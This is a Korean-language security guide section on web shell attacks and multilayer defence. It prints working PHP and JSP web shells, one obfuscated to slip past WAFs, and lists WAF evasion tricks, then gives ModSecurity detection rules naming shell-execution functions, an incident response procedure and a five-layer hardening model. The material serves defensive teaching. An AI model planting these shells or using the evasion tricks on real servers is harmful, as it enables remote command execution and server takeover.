6. 현대적인 보안 레이어

웹셸 공격의 실제 시나리오

일반적인 웹셸 침투 과정

웹셸 침투 과정:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[공격자]

[파일 업로드 취약점 발견]

[악성 파일 업로드]
shell.php, cmd.jsp

[웹셸 실행]
서버 명령어 실행

[권한 상승]
시스템 장악

WAF 우회 기법:
├─ 파일명 위장: shell.php.jpg
├─ 인코딩/난독화: base64, 압축
└─ 정상 파일에 숨김: 이미지 + 코드

실제 웹셸 예시들

PHP 웹셸:

<?php
// 단순 웹셸
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}

// 고급 웹셸 (WAF 우회)
<?php
$a = "sy"."stem";  // 문자열 분할로 패턴 우회
$b = base64_decode($_POST['data']); // base64 인코딩으로 우회
$a($b);
?>

JSP 웹셸:

<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Runtime.getRuntime().exec(cmd);
}
%>

다층 방어 전략(포트 기반 권한 분리보다는 외부 트래픽을 다층적으로 검사하는 것이 더 유효함)

WAF 레벨 방어

WAF 레벨 방어:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[HTTP 요청] → [WAF 검사] → 3가지 검사 방식:

┌───────────────┼───────────────┐
↓ ↓ ↓
[패턴 매칭] [행동 분석] [파일 스캔]
시그니처 탐지 이상 행위 탐지 업로드 파일 검사
│ │ │
└───────────────┴───────────────┘

[차단/로깅]

고급 WAF 설정 예시:

# ModSecurity 규칙 예시
SecRule FILES_TMPNAMES "@detectSQLi" \\
    "id:2001,phase:2,block,msg:'SQL Injection in uploaded file'"

SecRule FILES "@rx \\.php$|\\.jsp$|\\.asp$" \\
    "id:2002,phase:2,block,msg:'Executable file upload blocked'"

# 웹셸 패턴 탐지
SecRule ARGS "@rx (system|exec|shell_exec|passthru)" \\
    "id:2003,phase:2,block,msg:'Shell execution attempt'"

실전 대응 시나리오

웹셸 발견 시 대응 절차

웹셸 발견 시 대응 절차:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[웹셸 탐지]

[즉시 격리]
네트워크 차단

[포렌식 수집]
로그, 메모리 덤프

[영향 범위 분석]
손상된 파일 확인

[시스템 복구]
백업에서 복원

[보안 강화]
취약점 패치

병렬 작업:
├─ IOC 추출 (Indicator of Compromise)
└─ 위협 인텔리전스 공유

종합적 보안 전략

효과적인 웹셸 방어의 핵심

웹셸 방어 전략:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[다층 방어]

├─ [예방 단계]
│ WAF + 입력 검증

├─ [탐지 단계]
│ FIM + 행동 분석

├─ [대응 단계]
│ 격리 + 복구

└─ [복구 단계]
패치 + 강화

웹셸 실행 제어 - 다층 방어:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[5계층: 실시간 모니터링]
├─ 기술:
│ ├─ 실시간 파일 스캔
│ ├─ 프로세스 모니터링
│ └─ AI 기반 패턴 탐지
└─ 효과: 즉시 탐지 및 차단
대응: 자동 격리 + 알림

[4계층: 컨테이너/가상화]
├─ 기술:
│ ├─ Docker 읽기전용 FS
│ ├─ gVisor 샌드박스
│ └─ Kubernetes SecurityPolicy
└─ 효과: 완전한 격리 환경
우회: 컨테이너 탈출 필요

[3계층: 애플리케이션]
├─ 기술:
│ ├─ PHP disable_functions
│ ├─ Node.js vm2 샌드박스
│ └─ 입력 검증/화이트리스트
└─ 효과: 인터프리터 레벨 제어
우회: 새로운 취약점 필요

[2계층: 커널/OS]
├─ 기술:
│ ├─ SELinux/AppArmor
│ ├─ fapolicyd 화이트리스팅
│ └─ eBPF 시스템콜 모니터링
└─ 효과: 시스템 호출 레벨 차단
우회: 권한 상승 필요

[1계층: 파일시스템]
├─ 기술:
│ ├─ noexec 마운트
│ ├─ chmod 000
│ └─ 읽기전용 FS
└─ 효과: 파일 실행 원천 차단
우회: 인터프리터 직접 호출